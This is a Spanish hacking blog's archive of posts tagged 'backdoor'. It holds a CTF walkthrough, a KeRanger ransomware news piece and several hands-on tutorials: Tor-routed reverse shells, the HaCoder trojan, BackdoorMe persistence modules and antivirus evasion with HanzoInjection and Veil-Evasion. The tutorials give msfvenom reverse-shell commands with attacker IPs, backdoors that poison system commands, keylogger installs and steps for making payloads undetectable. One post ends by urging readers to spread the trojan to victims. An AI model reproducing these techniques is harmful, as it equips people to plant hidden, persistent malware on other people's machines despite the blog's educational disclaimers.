Mostrando entradas con la etiqueta backdoor. Mostrar todas las entradas
Mostrando entradas con la etiqueta backdoor. Mostrar todas las entradas

jueves, 18 de agosto de 2016

Commodore64 Still Ready

Buenas a todos! CTF de Vulnhub

"Welcome to my third boot2root / CTF this one is called Sidney. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag, and being me, it's never where they normally live... B-) If you are having trouble with the NIC, make sure the adapter is set to use the MAC 00:0C:29:50:14:56 Some hints for you: If you are hitting a wall, read https://de.wikipedia.org/wiki/MOS_Technology_6502 The flag is audio as well as visual SHA1SUM: 114ABA151B77A028AA5CFDAE66D3AEC6EAF0751A sidney.ova Many thanks to Rasta_Mouse and GKNSB for testing this CTF. Special thanks and shout-outs go to GKNSB and Rasta_Mouse, hopefully he streams this one live too! Also a shout-out to g0tmi1k for #vulnhub and offering to host my third CTF."
 
 

Atención Spoiler!!

Primero comenzamos haciendo un descubrimiento de red y una vez localizado el objetivo simplemente haciendo un escaner para saber los puertos abiertos y sus servicios.
Ejecutaremos nikto para realizar un escaneo del sito web, detectando la versión del servidor, el tipo de CMS instalado, vulnerabilidades etc...
Ejecutamos dirb para ver los directorios del servidor Apache, usando el diccionario que nos encontramos en la carpeta de dirb llamado big.txt.
Damos con el directorio commodore64 muy interesante donde partiremos y encontraremos información muy valiosa en su codigo fuente.
En la descripcion de la máquina virtual y segun lo visto con el codigo fuente, debemos investigar sobre commodore 64. Ademas en el codigo fuente nos da posible un usuario y el patron usado en la contraseña es decir 3letras y 4 digitos sin espacios...algo en la wikipedia tenemos que encontrar.
Bien ahora tenemos dos opciones. Lo haremos con los dos metodos para obtener lo mismo.
Usaremos wireshark + hydra, y el otro metodo es hacer todo con burpsuite. 
Con wireshark realizaremos un login con el posible usuario y la pass vacía para poder capturar los paquetes.
Analizamos el protocolo HTTP con el metodo POST que es el que nos interesa, y en la capa de aplicacion Hypertext Transfer Protocol, vemos lo capturado en el paquete como por ejemplo la cookie de sesion, y el formulario de envio con el metodo POST para acceder al login cuyo name es el input_username en texto plano...Esto sera de gran importancia para realizar el ataque con burpsuite y con hydra.
Con burpsuite hacemos lo mismo, configuramos el proxy del navegador en localhost y realizamos de nuevo la peticion HTTP con el metodo POST del login y analizamos lo capturado con burp. Nos lo pinta mas bonito que wireshark, y se ve los tres campos name, y el usuario en texto plano de la peticion HTTP. 
Una vez obtenida la password ya sea con burpsuite o con hydra vamos a crear con msfvenom un payload en php reverse, para poder conseguir una sesion meterpreter y a su vez iniciaremos el metasploit para tener el listener a la escucha de la conexión entrante que se recibira.
Bien al crear el payload sino se pone el puerto, por defecto es el 4444, y en el multi/handler pusimos el 5555, por tanto debemos modificar el source del archivo php y cambiar el puerto. 

Hacemos una peticion HTTP con curl y recibiremos nuestra sesion meterpreter, con una shell reversa del servidor. 
Visulizamos el archivo etc/passwd. Y nos tendremos que fijar muy bien el tercer campo por la izquierda osea el User ID(UID). UID 0(reservado a root) y del 1-99 (reservado a otras cuentas de usuario).
Se hará sudo -l y veremos que un usuario en el cual nos logeamos, puede ejecutar cualquier comando como root. 
Bien una vez realizada la escalada de privilegios, nos dirijimos al directorio /root para poder capturar la bandera.
Al final del vídeo os muestro otra alternativa para poder conseguir escalar privilegios. Será a través de crontab y el uso de un exploit, por la versión particular de Ubuntu.


Espero que os sirva esta solución al CTF :)
Un saludo Naivenom

domingo, 20 de marzo de 2016

Conectar troyanos a través de Tor


Buenas hackers!!
En la entrada de hoy explicaré la PoC realizada por Belane. El fin principal es la conexión inversa de un backdoor de forma anonima a traves de Tor, en otras palabras, una shell reversa anonimizada. 
La PoC esta realizada en un entorno virtualizado compuesto de maquinas virtuales con el fin educativo de un proceso real.

Parte 1: 
La primera parte del video se muestra como se realiza la conexión ssh al servidor remoto donde esta alojado las imagenes de docker usando nc.

 
"Docker (Wikipedia): Docker es un proyecto de código abierto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de Virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel de Linux, tales como cgroups y espacios de nombres (namespaces) para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales."

Estas imagenes son como maquinas virtuales que se despliegan como contenedores. Primero se usa tor-base, que es una imagen con el servicio tor instalado. Y después donkeykong que es una imagen preparada para metasploit.
Se aprecia como lista las imagenes de docker y luego lanza la imagen con:
 docker run -it --name tor-service tor-base /bin/bash
Al ejecutarse se muestra una nueva shell de la maquina y se configura Tor.
Se ejecuta desde el shell, tor & en background para poder seguir usando esa shell. Visualiza el nombre de dominio proporcionado por Tor (hostname) y ejecuta el nc para estar a la escucha de las posibles conexiones inversas. 

Desde la maquina virtual de la victima (Windows 7) se instala Tor, socat y nc. 
Inicia Tor en background con start /b tor y ejecuta socat.exe. Socat es como una navaja suiza de conexiones, permite redirigir de un punto a otro, hacer tuberias. En este caso se usa para crear un proxy y resolver el dominio .onion. Crea una tuberia desde el puerto 5555 en localhost al 3333 en el dominio que nos da tor .onion, usando el proxy en 9050 (tor).
Y finalmente la victima ejecuta el nc para establecer la conexión con el atacante, devolviendonos una shell.


Parte2: 

 
En esta parte se utilizara un HID attack para infectar un ordenador con el backdoor conectandose a Tor, de esta forma el panel de control del atacante no esta expuesto, en este caso Metasploit.
De igual modo se usa docker para listar la imagenes disponibles en el servidor remoto, llamada donkeykong y se lanza la imagen:
docker run -it donkeykong /bin/bash
Al ejecutarse se muestra una shell y se configura Tor.
Se ejecuta desde el shell, tor & en background para poder seguir usando esa shell. Una vez realizado este procedimiento abrimos la consola de Metasploit con msfconsole y usamos el exploit/multi/handler con el payload windows/meterpreter/reverse_tcp a la escucha de conexiones.
Se abre otra terminal para generar el backdoor malicioso con msfvenom
En el escritorio de la maquina Kali Linux, tenemos el backdoor y el archivo loader.ps1 que será el usado en el HID attack.
En este caso el atacante usa la maquina Kali Linux como servidor propio donde aloja el backdoor y el loader.ps1 mediante la creación de un webserver en el directorio actual.
Ahora conectando nuestro telefono movil NetHunter a la maquina (Windows 8.1) realiza el HID attack simulando que es un teclado y ejecutando una serie de ordenes, abriendo un powershell y descargando el fichero loader.ps1 infectando a la maquina.
De este modo obtendremos una sesión meterpreter.

Una vez explicado el procedimiento de la PoC, os muestro el video demostrativo:


P.D El autor y desarrollador de esta PoC, no se hace responsable del mal uso de este tutorial. Hacerlo siempre en un entorno virtualizado con VMware, simulando este proceso real.

Un saludo, naivenom




jueves, 17 de marzo de 2016

Troyano Hacoder y el source code

Buenos dias!
En el dia de hoy os mostrare una herramienta realizada por LukaSiki/HaCoder.py. Podeis localizar el repositorio en GitHub.



Parte 1:
Primero analizaremos el código fuente para aquellos entusiastas en la programación con Python. La herramienta de administración remota (troyano), tiene un encriptado AES eligiendo valores aleatorios (random), haciendo su backdoor FUD eludiendo a los antivirus.


El archivo principal (Hacoder.py), es un script de igual modo que el anterior, conteniendo a su vez dentro de una función otro script que será la generación del backdoor. Se importan los modulos, clases de colores, el logo del programa y la encriptación AES.



Más adelante, cuando se finaliza de escribir las lineas de código correspondientes al script del backdoor, se define una función que corresponde a la generación del handler, es decir, las instrucciones correspodientes a la interacción con el cliente.



 Dentro de ella se definen funciones e interaciones como:
  • Enviar y recibir datos.
  • Subida y bajada de archivos.
  • Actualización de los clientes que se nos conecta a nuestro host, dada una dirección IP y puerto.
  • Uso de la instrucción "while" para repetir una serie de instrucciones mientras la condición sea verdadera (True)
Por último se crea el menu y una serie de condiciones con "if" dependiendo de la elección del usuario, realizando las correspodientes llamadas a las funciones creadas anteriormente.



Parte 2:
Ahora en esta parte, vamos a probar la herramienta en un entorno virtualizado en VMware. Para instalar la herramienta podemos clonar el repositorio ejecutando lo siguiente:
git clone  https://github.com/LukaSikic/HaCoder.py.git
Entramos en la carpeta generada, y damos permisos de ejecución con chmod
Es importante tener instalado Python para poder ejecutar el script, ya que es un lenguaje interpretado y necesita de una maquina virtual. El bytecode se utiliza y produce el resultado. 
Ejecutamos el script y generamos el backdoor, copiando la clave AES aleatoria e indicando nuestra IP y puerto a la escucha: 


Una vez creado el backdoor, generara un archivo .py, y como dijimos antes Python es un lenguaje interpretado, por tanto si queremos enviar este archivo a un cliente, tiene que tener Python instalado. Una opción interesante es compilar el archivo a un .exe. Entonces necesitaremos usar Pyinstaller:  https://github.com/pyinstaller/pyinstaller
Usamos la herramienta y ya tendriamos nuestro backdoor en .exe. Existen buenos tutoriales del uso de esta herramienta. 
Al elegir la opción 3 del menu del programa, automaticamente pasará al handler a la espera de conexiones, como se puede apreciar el cliente ejecuto el .exe y se nos conecto:





Hacemos Control + C para interactuar con el cliente, y obtenemos una shell del cliente: 


Una vez obtenido la shell, podemos según las funciones declaradas en el código fuente subir y descargar archivos, escalada de privilegios, keylogger y hacerlo persistente. 
Un saludo, naivenom

P.D No me hago responsable del mal uso de esta herramienta y probarlo siempre en un entorno virtualizado usando dos maquinas virtuales, una el cliente y otra de servidor a la escucha de conexiones. 







 









martes, 8 de marzo de 2016

KeRanger: Descubierto ransomware para MAC (OS X)



Autor: Diego Jurado


Buenas a todos hackers!!
Hoy vamos a hablaros sobre un tema que nos acontece, es la noticia del momento y es que era solo cuestión de tiempo pero finalmente podemos decir: OS X ha sido vulnerado.
Hasta ahora, los usuarios de Apple podían presumir de ser uno de los únicos sistemas operativos que no había sufrido de las amenazas de Internet, pero esto ya es historia.

El 4 de marzo de este mismo mes, se registró el primer ataque de ransomware, bautizado como KeRanger dirigido a usuarios de Apple y esto es un problema, especialmente para los amantes de las descargas, ya que este ´malware´ ha sido difundido a través de software torrent y puede afectar a cualquier tipo de Mac, siempre que el usuario se encargue de ejecutar la aplicación asociada.

El único ransomware conocido para OS X hasta ahora fue descubierto por Kasperky Lab en 2014, fue denominado como FileCoder y estaba incompleto, mientras que KeRanger , según los investigadores de Palo Alto, se trata de "el primer ransomware completamente funcional que se ha visto en la plataforma OS X".



¿Qué es un Ransomware?

Un ransomware (del inglés ransom = rescate / ware = software) se trata de un tipo de programa informático malicioso, que encripta y restringe el acceso generalmente a archivos o partes del sistema que ha sido vulnerado.
Una vez se tienen los datos encriptados, la única forma de recuperar estos archivos es mediante el pago de un rescate que se le pide al usuario. 

Esto supone un daño crítico, especialmente a empresas u organizaciones que dependen de sus archivos y que se han visto en más de una ocasión a pagar dicho rescate, como por ejemplo hace un mes, un hospital en los Angeles se vio obligado a pagar 40 bitcoins (equivalente a $16700) para recuperar parte de sus sistema que fue afectado por un ramsomware.






KeRanger Ransomware

Para la propagación de este ransomware, los atacantes se aprovecharon de una actualización de Transmission, un cliente de BitTorrent para OS X que llevaba dos años sin actualizarse.
Los creadores inyectaron KeRanger en dos instaladores de la versión 2.90, aprovechando que esta es una aplicación de código abierto (open source).




La aplicación infectada con KeRanger estaba firmada con un certificado de desarrollador de Apple, que lograba evitar que Gatekeeper (mecanismo de seguridad integrado en OS X) detectase la aplicación como peligrosa y rechazase su instalación.

Cuando un usuario instala la aplicación, un ejecutable embebido en la misma, pasa a formar parte del sistema. Es entonces cuando KeRanger (a los 3 días aproximadamente) se conecta con sus servidores de control y comando en la conocida red Tor y comienza a cifrar ciertos tipos de documentos y archivos de datos del sistema.


Estos son algunos de los tipos de documentos que se cifran: 




Tras finalizar este proceso, se solicita automáticamente al usuario afectado que pague un BitCoin ($400 aproximadamente) a una dirección especifica para poder recuperar sus documentos. 

Se dice que KeRanger sigue en proceso de desarrollo, y este malware intenta cifrar tambien el contenido de las copias de seguridad de Time Machine para prevenir recuperar información desde sus copias de seguridad. 




¿Como detectarlo y como protegerse?

Como era de esperar, la reacción ha sido rápida, y desde Transmission ya se han dado cuenta, y han lanzado una nueva version 2.92, donde se ha eliminado el ransomware. Esta actualización ha pasado a ser obligatoria para todos los usuarios  de la aplicación.

Pero,  ¿como podemos saber si estamos infectados?, ¿como nos protegemos?

Si vamos a Transmission y hacemos clic en Mostrar contenido del paquete con el segundo botón del ratón, podremos observar que hay un archivo extra denominado General.rtf en la ruta:
Transmission.app/Content/MacOS/Transmission. 

Este archivo de texto no es más que un ejecutable empaquetado con UPX 3.91.

Cuando el usuario infectado ejecuta la aplicación, dicho archivo se copia en la ubicación: 
Library/kernel_service y se ejecuta el servicio antes de que ninguna interfaz aparezca para recolectar información del modelo de Mac y su identificador UUID.

Estos datos se envían a un servidor externo, y este devuelve una respuesta informando sobre el rescate.



Si queremos saber si hemos sido infectados, debemos seguir los siguientes pasos: 
  • Abrir Terminal o Finder y verificar si tenemos el archivo General.rtf en nuestro equipo. Para ello basta con mirar las rutas: 

          /Applications/Transmission.app/Contents/Resources/General.rtf           /Volumes/Transmission/Transmission.app/Contents/Resources/

  • Mediante el Monitor de actividad, deberemos verificar los procesos que están activos. Si encontramos uno llamado "kernel_service" ejecutandose, deberemos hacer doble click sobre él, ir a la opción de Archivos y puertos abiertos (Open Files and Ports) y ver si hay un archivo con el nombre: /Users/<username>/Library/kernel_service , en este caso, forzaremos el cierre.

  • Por último, comprobaremos si los archivos: kernel_pid, kernel_time, kernel_complete o kernel_service existen en la carpeta Library directory, en este caso los eliminaremos.



Recomendaciones

Desde aqui, recomendamos siempre tener una copia de seguridad disponible, por si alguna vez sufrimos este tipo de ataques, con ella estaremos mucho más seguros.

Es importante concienciarse de que todos nuestros datos están expuestos, y de que todos somos vulnerables. 

Este es el primer caso de ransomware que hace que el Mac (OS X) ya no pueda mantener su reputación como bastión de seguridad por encima de Windows.



"Pienso que los virus informáticos muestran la naturaleza humana: la única forma de vida que hemos creado hasta el momento es puramente destructiva"  - Stephen Hawking -



sábado, 5 de marzo de 2016

Crea tu backdoor automatizado con BackdoorMe


Hola hackers, en esta ocasión vamos a ver como utilizar BackdoorMe.

BackdoorMe se trata de una utilidad de post-explotación capaz de crear un backdoor o puerta trasera en equipos Unix. Dispone de una interfaz similar a la de Metasploit.

Para transferir la puerta trasera al equipo objetivo, necesitamos que tenga el servicio SSH corriendo (o abrirlo en su defecto) y las credenciales del mismo.

BackdoorMe viene con una serie de puertas traseras, módulos (se pueden usar con cualquier puerta trasera para hacerlas mas potentes) y auxiliares (para ayudar a la persistencia). A continuación una lista de todo lo que nos ofrece.


MODULOS
  • Adduser: agrega un nuevo usuario en el equipo.
  • Cron: añade una puerta trasera existente al archivo crontab del usuario root para que se ejecute con cierta frecuencia.
  • Poison: envenena el archivo ejecutable de un comando del equipo objetivo, de esta forma, cada vez que el usuario utilice dicho comando, se ejecutará la acción correspondiente al comando y el backdoor.
  • Startup: permite que el backdoor se ejecute al encender el sistema, o meterlo en el archivo .bashrc para que se ejecute cada vez que se abre una consola o terminal.
  • Web: se instala un servidor web y coloca una web que desencadena la puerta trasera. Solo hay que visitar ésta y la puerta trasera se iniciará.
  • Whitelist: lista de las IPs que pueden conectarse al backdoor.
PUERTAS TRASERAS 
  • ssh_port: cambia el puerto para el servicio SSH
  • remove_ssh: desactiva el servicio SSH. Se usa cuando terminamos la sesión.
  • ssh_key: crea una clave RSA.
ESCALATION
  •  Shell: se trata de una puerta trasera para escalada de privilegios, similar a SetUID. Una vez ejecutada, podemos entrar como un usuario normal y ejecutar el comando .bash -p para obtener una shell con privilegios root.
  • SetUID: nos permite infectar el archivo bin de un comando (por ejemplo nano) y, entrando con un usuario sin privilegios, poder ejecutar el comando como si del usuario root se tratase.
WINDOWS
  • Windows: usa msfvenom para crear un backdoor para windows. 
SHELL
  • Netcat: usa netcat para obtener una shell interactiva.
  • Web: instala apache en el equipo objetivo y envía un payload, luego basta con entrar en el servidor y ejecutar el payload para, con multi/handler escuchando, obtener una shell.
  • PHP: ejecuta un backdoor php que redirige el resultado a bash.
  • Bash: un simple script bash para conectarse a una IP y puerto especifico.
  • Metasploit: usa msfvenom para crear un payload reverse_tcp y lo ejecuta para obtener una shell meterpreter.
  • Perl: script escrito en perl y redirige el resultado a bash.
  • Pupy: esta shell utiliza el backdoor creado por n1nj4sec (enlace).
  • Python: script escrito en python para ejecutar comandos y recibir los resultados en bash.
AUXILIARES
  • Web: instala el servidor web Apache en el objetivo.
  • User: crea un nuevo usuario en el objetivo.
  • Append: añade o quita el atributo append (nos permite añadir información) a cualquier archivo del sistema.
  • SimpleHttp: instala el servidor python SimpleHttp en el objetivo.
  • Keylogger: instala un keylogger en el objetivo con opción de recibir el log en un mail dado.
  • Immutable: añade o quita el atributo immutable a cualquier archivo del sistema. 

Como podeis ver tenemos infinidad de opciones para colocar nuestro backdoor o puerta trasera.

Lo primero que haremos será descargar BackdoorMe y prepararlo para su uso.


Ya está listo para usarlo, ahora lo ejecutamos con python master.py.


Para ver los comandos que tenemos disponibles escribiremos help.


En esta PoC usaremos como equipo objetivo una máquina virtual con Metasploitable 2 (192.168.0.195).

Lo primero que haremos será cambiar la ip local, que es donde se conectará el backdoor, tenemos que poner la ip de nuestra máquina atacante. Para esto usamos el comando change_ip, pulsamos enter, y escribimos la IP.

A continuación añadiremos nuestro objetivo.

  • Target Hostname: IP del objetivo
  • Username: nombre de usuario del servicio SSH.
  • Password: contraseña del servicio SSH.

Decir que BackdoorMe soporta varios targets (objetivos) a la vez, los diferencia asignandoles números (1, 2, 3...). Para usar el backdoor en uno u otro target, la sintaxis es la siguiente:

 use <backdoor> <numero target>
Ejemplo: use shell/metasploit 2 


Establecemos la conexión por SSH con el comando open.


 Ya estamos conectados al objetivo.

Con el comando list vemos los diferentes backdoors disponibles. Vamos a ver el funcionamiento de algunos de ellos.


METASPLOIT

Este backdoor nos devolverá una shell meterpreter.


Para cambiar cualquiera de las opciones del backdoor usaremos la siguiente sintaxis:

set <nombre opción> <nuevo valor>
Ejemplo: set name apache

Una vez cambiadas las opciones a nuestro gusto, ejecutamos el backdoor con exploit.


En la captura podemos ver los pasos que sigue, también nos dice que ejecutemos Metasploit y pongamos a la escucha el exploit multi/handler.




Con todo listo, pulsamos enter (en la consola de BackdoorMe) y obtendremos la shell.



NETCAT

En este ejemplo, utilizaremos el backdoor netcat junto con el módulo poison.

Igual que hicimos antes, seleccionamos el backdoor y lo configuramos.


Ahora añadimos el módulo al backdoor.


Como vemos en la captura para cambiar las opciones del módulo se usa la siguiente sintaxis:

set <nombre modulo>.<opción> <valor> 
(fijaros que entre el módulo y la opción, hay un punto)

Ejemplo: set poison.name ls

Yo voy a dejar las opciones tal cual puesto que el comando ls se utiliza bastante y es lo que nos interesa. Usamos el comando exploit para ejecutarlo.


Al igual que paso con el backdoor de Metasploit, en este también nos indica lo que debemos hacer para obtener la shell. Abrimos una nueva terminal/consola y ponemos el netcat a la escucha como nos indica: nc -v -n -l -p 4444.

Pulsamos enter en la consola de BackdoorMe y obtendremos la shell.



Gracias al módulo poison, ahora cada vez que se use el comando ls en el equipo objetivo, ejecutará el backdoor y, teniendo el netcat a la escucha, obtendremos una shell.


ESCALATION/SHELL

Con este backdoor, aunque entremos con un usuario sin privilegios, obtendremos una shell con privilegios ejecutando el comando .bash -p.


Esta vez no nos va devolver una shell directamente como en los vistos anteriormente. Para ver que ha funcionado, nos conectaremos por SSH al equipo objetivo con un usuario sin privilegios.


Ahora ejecutamos el comando antes mencionado y obtendremos la shell con privilegios.


BackdoorMe además dispone de un backdoor (access/remove_ssh) que nos permite cerrar el servicio SSH  en el objetivo al finalizar.


Si hacemos un nmap al objetivo apuntando al puerto 22 SSH, vemos que esta cerrado.




Hasta aquí la PoC de hoy, espero os haya gustado y recordar que está realizado con fines educativos, no nos hacemos responsables del mal uso que se le pudiera dar.

jueves, 18 de febrero de 2016

Backdoor 100% indetectable con HanzoInjection


Autor: Diego Jurado


Buenas de nuevo hackers!


En el día de hoy, os traigo una nueva prueba de concepto muy interesante. Lo que haremos será generar un backdoor 100% indetectable para los antivirus, con la ayuda de HanzoInjection.
Para los que no saben que es un backdoor (puerta trasera), se puede definir como una secuencia de código que evita los sistemas de seguridad, permitiendo a un atacante acceder al sistema de forma remota. Las puertas traseras pueden ser utilizadas para fines maliciosos y de espionaje.
NOTA: Antes de comenzar, saber que vamos a utilizar una máquina en Kali-Linux y otra Windows.

PASO 1: 

Lo primero que haremos será crear un simple backdoor con la herramienta msfvenom. Como ya sabemos, este backdoor es detectable por algunos antivirus, por lo tanto no será completamente útil a la hora de realizar un ataque.
Con este comando, lo que haremos será utilizar:
  • Payload meterpreter con conexión inversa.
  • Lhost= 192.168.1.53 (IP del atacante).
  • Lport=4444 (Puerto por el que establecemos la escucha).
  • evil.bin = Fichero binario creado (en carpeta root/Escritorio).

Introducimos el siguiente comando en la consola:
> msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.53 lport=4444 -t raw -o /root/Escritorio/evil.bin







PASO 2:

En este punto, lo analizaremos con cualquier escaner online (excepto virustotal), en nuestro caso hemos utilizado: www.nodistribute.com , (otra buena opción es www.metascan-online.com ).

Podemos observar que el backdoor es detectado por 2/35 antivirus, no es mucho, pero queremos que sea 100% indetectable.




PASO 3:

Ya tenemos nuestro fichero binario (evil.bin) , lo llevaremos a una máquina WINDOWS. 

Únicamente debemos acceder a la carpeta donde se encuentra el ejecutable (teniendo el fichero evil.bin en la misma ruta) y ejecutar el siguiente comando:
> HanzoInjection.exe -p evil.bin -o evilInject.cs



Así creamos un archivo de código (.cs) que podrá ser convertido a (.exe).



PASO 4:

Lo siguiente que haremos será volver a Kali-Linux y crear un proyecto con monodevelop.
Esta herramienta nos permite transformar el código (.cs) en un archivo ejecutable (.exe).
Primero instalamos monodevelop:
> apt-get install monodevelop 

Creamos un proyecto nuevo con el nombre que queramos, en nuestro caso se ha llamado EvilProyect: 


Ahora deberemos compilar o construir el código, pero nos dará el siguiente error:


Para quitarlo accedemos a Proyecto -> Opciones de EvilProyect y seleccionamos la opción "Permitir código inseguro":


Un nuevo error relacionado con las librerias xml aparecerá. Para quitarlo iremos a Referencias -> Editar Referencias y añadiremos la libreria System.xml:


Compilamos el código correctamente y se habrá creado en la carpeta del proyecto nuestro ejecutable (EvilProyect.exe):




PASO 5:

Volvemos a escanear el archivo (EvilProyect.exe) y vemos ha quedado completamente limpio (100% Indetectable!!):








PASO 6:
Por último, utilizando la herramienta metasploit en Kali-Linux  y establecemos una conexión a la escucha utilizando el exploit multi/handler y el payload windows/meterpreter/reverse_tcp porsupuesto utilizando el mismo puerto/ip que usamos para la creación del backdoor.




En este punto, solo quedará propagar nuestro troyano y esperar a que la víctima lo ejecute. Automáticamente conseguiremos una sesión de meterpreter (shell) como vimos en anteriores post.
 


Espero que les haya gustado el post, y como decimos siempre, la prueba de concepto se ha realizado sobre máquinas virtualizadas y para fines educativos, no nos hacemos responsables de su mal uso.


"Es extraña la ligereza con la que los malvados creen que todo les saldrá bien" - Victor Hugo


lunes, 15 de febrero de 2016

Veil-Evasion y metasploit



Buenas tardes hackers!

En esta prueba de concepto realizada en un entorno virtualizado, se conseguirá una sesión meterpreter a través de un exploit(multi/handler) y la vulnerabilidad crítica basada en la persona con un windows 7. Para ello se usara una herramienta llamada Veil-Framework, donde generaremos un payload que tiene como objetivo ejecutarse en la máquina víctima para realizar la acción maliciosa y bastante indetectable por la mayoría de los antivirus. Instalamos la herramienta en Kali clonando desde github.



Una vez tengamos la carpeta de Veil entramos y ejecutamos /Install.sh. Recomiendo la lectura en github de los pasos y las condiciones que se han de cumplir antes de instalar la herramienta, para que no exista ningún tipo error.





Una vez instalado nos situamos en la carpeta Veil-Evasion y ejecutamos previamente dando los permisos necesarios para la ejecución. Existen 49 payloads. El comando a usar es ./Veil-Evasion.py.



Podemos apreciar los distintos payload que existen, dependiendo del entorno en el que se ejecuten.



Configuramos uno de los payload más interesantes, llamado meterpreter con conexión inversa. El atacante lanzara el exploit y permanecerá a la escucha de conexiones hasta que la víctima ejecute el código malicioso y el payload se conectara a la dirección IP asociado a un puerto determinado.
IP--->172.16.22.133 (atacante)
Puerto--->4444 (atacante)
De esta forma ya tendríamos configurado nuestro payload que enviaremos a través de ingeniería social a nuestra víctima.



El archivo que genera es un .bat (backdor.bat) en la carpeta veil-output. Para que la victima pueda ejecutarlo sera necesario convertirlo en un .exe. Existen muchos programas para hacerlo, en esta PoC se usa el Bat To Exe Converter v2.4.



Una vez convertido el .exe lo analizamos con www.scan4you.net y nos da un resultado de detecciones de antivirus por firmas de 5/35, no esta nada mal.

Ahora ya creado una parte importante y fundamental que es la conexión, necesitamos abrir Metasploit (msfconsole) que será la parte que actuara como si de un servidor se tratase a la escucha de conexiones.
Ejecutamos el comando msfconsole, y usamos el exploit multi/handler que servirá con el fin de que la víctima ejecute el archivo y el payload realice la conexión inversa al atacante, dándole acceso a la maquina.
Una vez obtenido la sesión meterpreter, la maquina victima esta comprometida donde se puede realizar acciones de todo tipo, ya sea una linea de comandos como un keylogger.



P.D No me hago responsable del mal uso que se le de a esta PoC, es de carácter educativo y esta realizado en un entorno virtualizado. No seáis malos!!

Google Analytics